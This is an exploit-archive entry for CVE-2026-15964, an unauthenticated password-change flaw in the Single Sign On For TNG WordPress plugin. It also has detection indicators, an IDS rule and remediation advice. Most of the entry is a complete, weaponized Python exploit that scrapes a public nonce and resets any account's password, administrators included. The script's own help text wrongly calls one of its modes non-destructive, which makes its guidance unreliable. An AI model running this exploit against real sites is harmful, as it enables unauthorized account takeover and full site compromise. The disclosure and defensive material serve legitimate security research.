PoC Archive PoC Archive
CVE-2026-15964 category: web CVSS 9.8 (CRITICAL)
Patched

Single Sign On For TNG Unauthenticated Password Change / Account Takeover (CVE-2026-15964)

Published: 2026-11-27 • Researcher: Instructor-Admin (GitHub); vulnerability disclosure credited through Wordfence

Target software Single Sign On For TNG plugin for WordPress (single-sign-on-for-tng)
Affected versions All versions up to and including 2.0.0 (NVD); upstream lists 1.0.0 through 2.0.0. Fixed in 2.1.0.
Status Weaponized (complete unauthenticated exploit; upstream reports a successful local lab run)
Severity Critical · CVSS 9.8
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2026-08-02
Author / ResearcherInstructor-Admin (GitHub); vulnerability disclosure credited through Wordfence
CVE / AdvisoryCVE-2026-15964
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSS 3.1; CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, NVD)
StatusWeaponized (complete unauthenticated exploit; upstream reports a successful local lab run)
TagsWordPress, plugin, authentication-bypass, unauthenticated, CWE-620, account-takeover, password-reset, SSO, TNG, PHP
RelatedN/A

Affected Target

FieldValue
Software / SystemSingle Sign On For TNG plugin for WordPress (single-sign-on-for-tng)
Versions AffectedAll versions up to and including 2.0.0 (NVD); upstream lists 1.0.0 through 2.0.0. Fixed in 2.1.0.
Language / PlatformPHP 7.x / 8.x on WordPress, any host OS
Authentication RequiredNo
Network Access RequiredYes (HTTP/HTTPS to the WordPress site)

Summary

The Single Sign On For TNG plugin for WordPress exposes an unauthenticated AJAX action that performs a password reset for any account identified by email. The only barrier is a WordPress nonce that the plugin publishes to every front-end visitor, and anonymous visitors all receive the same value. An attacker can scrape that nonce from the home page, submit the target email and a new password, and then log in as that user. Successful exploitation of an administrator account gives full site takeover.

Vulnerability Details

Root Cause

The plugin registers its AJAX handler on both wp_ajax_ssoprocess_ajax and wp_ajax_nopriv_ssoprocess_ajax in single-sign-on-for-tng.php (v2.0.0, line 69). The nopriv registration makes the handler reachable with no session at all. The handler’s only guard is check_ajax_referer('ssoajaxnonce', 'nonce'), while the same nonce is written into the SSOPWDREQUIREMENT JavaScript object on every front-end page by wp_localize_script(). WordPress computes nonces for logged-out visitors against a shared anonymous context (uid 0 and an empty session token), so the published value is identical for every anonymous visitor and is not a secret.

Once past the nonce check, the setnewpassword operation reads an attacker-supplied email and password, resolves the account with get_user_by('email', $email), and calls WordPress core reset_password($user, $post['password']) without any ownership token, email confirmation link, or capability check. There is also no server-side password strength validation on this path.

Attack Vector

An unauthenticated remote attacker sends two ordinary HTTP requests. First, a GET to any front-end page reveals the SSOPWDREQUIREMENT object containing the nonce and the admin-ajax URL. Second, a POST to /wp-admin/admin-ajax.php carries action=ssoprocess_ajax, the scraped nonce, operation=setnewpassword, the victim’s email address, and a new password. The response {"success":true} confirms the reset. The attacker then authenticates at /wp-login.php with the new password.

Impact

Any WordPress account, including an administrator, can have its password changed by an unauthenticated attacker. The victim is logged out of all sessions by the core reset routine, and the attacker obtains a valid authenticated session. Administrator access allows plugin/theme installation or editing, which commonly leads to remote code execution and full site compromise; at minimum it exposes all site content, user data, and configuration secrets. The same handler also provides an account-existence oracle and a bonus unauthenticated option write through operation=set_tzoffset.

Environment / Lab Setup

Output
OS:          Ubuntu 22.04 LTS (or any WordPress-capable host)
Target:      WordPress 6.6.1 with Single Sign On For TNG 2.0.0, PHP 8.1, MariaDB 10.11
Attacker:    Linux with Python 3.10+ and the requests library
Tools:       curl, python3, browser or curl cookie jar; bundled mock server for logic testing

Setup Steps

Shell script
1
2
3
4
5
6
curl -L -o /tmp/sso-tng-2.0.0.zip \
  https://downloads.wordpress.org/plugin/single-sign-on-for-tng.2.0.0.zip
curl -s http://127.0.0.1:8080/wp-content/plugins/single-sign-on-for-tng/readme.txt \
  | grep -i 'stable tag'        # expect: Stable tag: 2.0.0

python3 -m pip install -r requirements.txt

The bundled tests/mock_server.py is a local-only harness for checking nonce scraping and handler responses without a full WordPress install. It does not change any real password.

Proof of Concept

Step-by-Step Reproduction

  1. Confirm the plugin and version — the plugin directory and readme.txt stable tag are readable without authentication.

    Shell script
    1
    2
    
    curl -s http://127.0.0.1:8080/wp-content/plugins/single-sign-on-for-tng/readme.txt \
      | grep -i 'stable tag'
  2. Passive check and nonce scrape (GET only) — the script loads the home page and extracts the published nonce. --check sends no POST request.

    Shell script
    1
    
    python3 CVE-2026-15964.py -u http://127.0.0.1:8080 --check
  3. Trigger the unauthenticated password change — target the lab administrator’s email and choose a new password.

    Shell script
    1
    2
    
    python3 CVE-2026-15964.py -u http://127.0.0.1:8080 \
      -e admin@lab.test -p 'Pwned!2026x'
  4. Verify the new credential — obtain a WordPress login cookie, or simply open /wp-admin/ in a browser.

    Shell script
    1
    2
    3
    
    curl -s -i -c /tmp/wp-cookies.txt \
      -d 'log=admin@lab.test&pwd=Pwned!2026x&wp-submit=Log+In&testcookie=1' \
      http://127.0.0.1:8080/wp-login.php | grep -i '^set-cookie: wordpress_logged_in'
  5. Restore the lab — reset the password from the database or rebuild the disposable instance. Do not leave the lab in the compromised state.

--enum-only is not a harmless account oracle in this release: it still posts operation=setnewpassword, with an empty password for existing accounts, so it can reset the target account. Use --check for GET-only testing. This discrepancy with the upstream README is recorded in the Notes.

Exploit Code

See CVE-2026-15964.py for the full CLI exploit and tests/mock_server.py for the local harness. The core request sequence is:

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import re
import requests

BASE = "http://127.0.0.1:8080"
VICTIM = "admin@lab.test"
NEW_PASSWORD = "Pwned!2026x"

html = requests.get(BASE + "/", timeout=15).text
nonce = re.search(
    r"['\"]nonce['\"]\s*:\s*['\"]([0-9a-f]{10})['\"]", html
).group(1)

r = requests.post(
    BASE + "/wp-admin/admin-ajax.php",
    data={
        "action": "ssoprocess_ajax",
        "nonce": nonce,
        "operation": "setnewpassword",
        "email": VICTIM,
        "password": NEW_PASSWORD,
    },
    timeout=15,
)
print(r.status_code, r.text)

Expected Output

Output
[+] scraped nonce : 9c0de6ab12
[+] admin-ajax    : http://127.0.0.1:8080/wp-admin/admin-ajax.php
[+] SUCCESS - password changed.
    user     : admin@lab.test
    password : Pwned!2026x
    response : {'success': True}
[*] Next: log in at /wp-login.php with these credentials.

The HTTP response body on a vulnerable install is {"success":true}. A patched 2.1.0 install responds with {"success":false,"message":"The time to submit the new password expired..."} or rejects the request because the per-user recovery nonce is missing.

Detection & Indicators of Compromise

  • HTTP access logs showing unauthenticated POST /wp-admin/admin-ajax.php requests with a body containing action=ssoprocess_ajax and operation=setnewpassword.
  • A 200 response of {"success":true} to such an anonymous request; normal recovery traffic should be rare and tied to a recent reset request.
  • GET / requests whose user agent or timing matches the subsequent POST, indicating nonce scraping; the request itself is indistinguishable from ordinary browsing.
  • WordPress audit events for password_reset / after_password_reset on privileged accounts, or direct changes to wp_users.user_pass, without a corresponding user-initiated reset.
  • An administrator login from a new IP address, ASN, or user agent immediately after a password-change event.
  • WAF/proxy logs for anonymous requests carrying the plugin’s ssoajaxnonce value.

SIEM / IDS Rule (example):

Output
1
2
3
4
5
6
alert http any any -> any any (msg:"CVE-2026-15964 SSO TNG unauthenticated password reset attempt"; \
  flow:to_server,established; content:"POST"; http_method; \
  content:"/wp-admin/admin-ajax.php"; http_uri; \
  content:"action=ssoprocess_ajax"; http_client_body; \
  content:"operation=setnewpassword"; http_client_body; \
  content:!"wordpress_logged_in"; http_cookie; sid:90015964;)

Remediation

ActionDetail
PatchUpgrade to Single Sign On For TNG 2.1.0 or later. The fix adds a recovery timeout and a per-user recovery nonce stored in user meta, so setnewpassword can no longer be driven without a live recovery record.
WorkaroundIf the plugin cannot be updated, deactivate and remove it. Otherwise block anonymous POSTs to /wp-admin/admin-ajax.php where action=ssoprocess_ajax, and deny direct access to plugin files at the reverse proxy.
Config HardeningEnforce strong unique administrator passwords and two-factor authentication, restrict /wp-admin/ by IP where practical, monitor password-reset and admin-login events, and rotate administrator credentials plus salts/keys if compromise is suspected.
Incident ResponseIf the handler was exposed, audit user password hashes and login history, invalidate all sessions, check for new administrator users, plugin/theme modifications, and unexpected scheduled tasks or files.

References

Notes

Verdict. Genuine, non-malicious exploit PoC for the assigned CVE. The upstream README documents testing against a local WordPress 6.6.1 install with plugin 2.0.0, and the exploit logic matches the vulnerable source described by NVD and Wordfence. The archivist did not execute the exploit; no target was contacted.

License. The upstream repository has no LICENSE file. Its README limits use to authorized security testing and education. Treat the copied code as research material with no explicit redistribution license.

What was copied and omitted. Copied the main exploit, requirements, the local mock server, and the upstream README. Omitted CVE-2026-15964-checker.py because it is a batch scanner/checker rather than exploit code, and omitted img.png (2.48 MB, above the 2 MB media limit). .git was not copied.

Limitations and caveats. The exploit is destructive by design: it changes the victim’s password and logs the victim out. It requires a known registered email address and does not provide code execution by itself; administrator access must then be leveraged through normal WordPress functionality. The script’s --enum-only mode is described upstream as a non-destructive account oracle, but the code posts operation=setnewpassword with an empty password, which can reset an existing account’s password to empty on a vulnerable install. Use --check for GET-only detection. The local mock server only emulates responses and does not prove end-to-end exploitation. The upstream repository has a single commit dated 2026-08-02, which is also the Last Updated value.

CVE-2026-15964.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
#!/usr/bin/env python3
# DISCLAIMER: This exploit is provided for authorized security testing and
# research only. Use it only against systems you own or have written permission
# to test. See README.md and upstream-README.md before running anything.
#
# CVE-2026-15964 - Single Sign On For TNG <= 2.0.0
# Unauthenticated password change for any WordPress account (CVSS 9.8 / CWE-620).
#
# The plugin registers ssoprocess_ajax() on wp_ajax_nopriv_ssoprocess_ajax
# (line 69 of single-sign-on-for-tng.php), so the handler is reachable without
# any session. The only gate is check_ajax_referer() against a nonce the plugin
# prints on every front-end page inside the SSOPWDREQUIREMENT JavaScript object.
# For logged-out visitors WordPress computes nonces with uid=0 and an empty
# session token, which makes the value identical for every anonymous visitor.
# Scrape it from the homepage, send it back with operation=setnewpassword and a
# victim email, and reset_password() does the rest - no token, no confirmation
# link, no capability check. There is also no server-side password strength
# validation on this path, so any password is accepted.
#
#   POST /wp-admin/admin-ajax.php
#   action=ssoprocess_ajax&nonce=<scraped>&operation=setnewpassword&email=<victim>&password=<new>
#
# The set_tzoffset operation is a bonus: it writes an arbitrary option value
# (update_option) without authentication.
#
# Fixed in 2.1.0 (2026-07-27): the handler now requires a `timeout` field that
# only a genuine recovery flow can produce, and the recovery form validates a
# per-user nonce stored in user meta. See README.md for the exact diff.
#
# Tested against a local WordPress 6.6.1 lab install with the plugin at 2.0.0.
# For authorized security testing and research only. Do not run this against
# systems you do not own or have written permission to test.
#
# Usage examples:
#   # one-shot: scrape the nonce and change the admin password
#   python3 CVE-2026-15964.py -u https://target -e admin@victim.tld -p 'NewPass!2026x'
#
#   # only scrape the nonce (the admin-ajax URL is printed too)
#   python3 CVE-2026-15964.py -u https://target --scrape-only
#
#   # reuse a nonce you already have (e.g. cached, or pulled by the checker)
#   python3 CVE-2026-15964.py -u https://target -e admin@victim.tld -p 'NewPass!2026x' -n abc123def4
#
#   # account existence oracle - {"success":true} means the email is registered
#   python3 CVE-2026-15964.py -u https://target -e admin@victim.tld -n abc123def4 --enum-only
#
#   # fully passive detection (GET only, nothing is changed)
#   python3 CVE-2026-15964.py -u https://target --check

import argparse
import re
import sys

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

UA = ("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
      "(KHTML, like Gecko) Chrome/126.0 Safari/537.36")

# The localized script object the plugin injects on every front-end page.
NONCE_OBJ_RE = re.compile(r"SSOPWDREQUIREMENT\s*=\s*(\{.*?\})\s*;", re.S)
NONCE_VAL_RE = re.compile(r"['\"]nonce['\"]\s*:\s*['\"]([0-9a-f]{10})['\"]")
AJAX_URL_RE = re.compile(r"['\"]url['\"]\s*:\s*['\"]([^'\"]*admin-ajax\.php[^'\"]*)['\"]", re.I)


def scrape_nonce(base_url, timeout=15):
    """GET the front page and pull the nonce + admin-ajax URL out of the HTML."""
    headers = {"User-Agent": UA, "Accept": "text/html,application/xhtml+xml,*/*"}
    r = requests.get(base_url.rstrip("/") + "/", headers=headers,
                     verify=False, timeout=timeout, allow_redirects=True)
    body = r.text

    nonce = None
    ajax_url = None
    m = NONCE_OBJ_RE.search(body)
    if m:
        nm = NONCE_VAL_RE.search(m.group(1))
        if nm:
            nonce = nm.group(1)
        um = AJAX_URL_RE.search(m.group(1))
        if um:
            ajax_url = um.group(1)

    if not nonce:
        # The plugin does not always print the object on pages that are cached
        # or behind aggressive CDNs. Fall back to the asset path - if the plugin
        # is installed the assets are still referenced.
        if "single-sign-on-for-tng" in body:
            sys.exit("[!] Plugin assets found but no nonce in HTML (cached/CDN). "
                     "Try again, or run with --check to confirm the install.")
        sys.exit("[!] Plugin not detected - no SSOPWDREQUIREMENT object and no "
                 "single-sign-on-for-tng asset path in the response. Is the "
                 "plugin active on this site?")

    return nonce, ajax_url or (base_url.rstrip("/") + "/wp-admin/admin-ajax.php")


def change_password(base_url, email, password, nonce, timeout=15, enum_only=False):
    headers = {
        "User-Agent": UA,
        "X-Requested-With": "XMLHttpRequest",
        "Content-Type": "application/x-www-form-urlencoded",
        "Referer": base_url.rstrip("/") + "/",
    }
    data = {
        "action": "ssoprocess_ajax",
        "nonce": nonce,
        "operation": "setnewpassword",
        "email": email,
        "password": password,
    }
    r = requests.post(base_url.rstrip("/") + "/wp-admin/admin-ajax.php",
                      headers=headers, data=data, verify=False, timeout=timeout)
    try:
        j = r.json()
    except ValueError:
        sys.exit(f"[!] Non-JSON response (HTTP {r.status_code}): {r.text[:200]}")

    if j.get("success"):
        if enum_only:
            return {"account_exists": True, "raw": j}
        return {"password_changed": True, "user": email, "new_password": password, "raw": j}
    return {"account_exists": False, "raw": j}


def passive_check(base_url, timeout=15):
    """GET-only detection: is the plugin present? Does the handler exist?"""
    try:
        nonce, ajax_url = scrape_nonce(base_url, timeout)
    except SystemExit as e:
        return {"plugin_present": False, "detail": str(e)}
    return {
        "plugin_present": True,
        "nonce": nonce,
        "ajax_url": ajax_url,
        "note": "Plugin is installed and active. To confirm the vulnerable path "
                "without changing anything, run with --enum-only and a "
                "non-existent email (a 2.0.0 install answers success:false "
                "with no error message).",
    }


def main():
    ap = argparse.ArgumentParser(
        description="CVE-2026-15964 PoC - SSO For TNG <= 2.0.0 unauthenticated "
                    "password change (authorized testing only)")
    ap.add_argument("-u", "--url", required=True, help="WordPress base URL, e.g. https://target")
    ap.add_argument("-e", "--email", help="target account email, e.g. admin@victim.tld")
    ap.add_argument("-p", "--password", help="new password to set (any value works)")
    ap.add_argument("-n", "--nonce", help="nonce to use instead of scraping one")
    ap.add_argument("--scrape-only", action="store_true",
                    help="scrape and print the nonce + admin-ajax URL, do nothing else")
    ap.add_argument("--enum-only", action="store_true",
                    help="only test whether the email maps to an existing account")
    ap.add_argument("--check", action="store_true",
                    help="passive detection only - no POST requests, nothing is changed")
    ap.add_argument("--timeout", type=int, default=15)
    args = ap.parse_args()

    if args.check:
        res = passive_check(args.url, args.timeout)
        if not res["plugin_present"]:
            print(f"[-] Plugin not detected on {args.url} - {res['detail']}")
            return 1
        print(f"[+] Plugin detected on {args.url}")
        print(f"    nonce    : {res['nonce']}")
        print(f"    ajax url : {res['ajax_url']}")
        print(f"    {res['note']}")
        return 0

    nonce = args.nonce
    if not nonce:
        nonce, ajax_url = scrape_nonce(args.url, args.timeout)
        print(f"[+] scraped nonce : {nonce}")
        print(f"[+] admin-ajax    : {ajax_url}")
        if args.scrape_only:
            return 0
    else:
        print(f"[*] using provided nonce: {nonce}")

    if not args.email:
        ap.error("--email is required (or use --scrape-only / --check)")

    if not args.enum_only and not args.password:
        ap.error("--password is required (or use --enum-only to test account existence)")

    if args.enum_only:
        res = change_password(args.url, args.email, args.password or "",
                              nonce, args.timeout, enum_only=True)
        if res["account_exists"]:
            print(f"[+] ACCOUNT EXISTS: {args.email}  (response: {res['raw']})")
            print("    On a 2.0.0 install this is the vulnerable handler responding. "
                  "See --enum-only in README.md.")
        else:
            print(f"[-] no such account or handler rejected the request: {res['raw']}")
        return 0

    res = change_password(args.url, args.email, args.password, nonce, args.timeout)
    if res["password_changed"]:
        print()
        print("[+] SUCCESS - password changed.")
        print(f"    user     : {args.email}")
        print(f"    password : {args.password}")
        print(f"    response : {res['raw']}")
        print()
        print("[*] Next: log in at /wp-login.php with these credentials.")
        print("    The victim is logged out of all sessions by reset_password().")
        return 0

    print(f"[-] failed - email not registered, nonce stale, WAF blocked it, "
          f"or the site is patched: {res['raw']}")
    return 1


if __name__ == "__main__":
    sys.exit(main())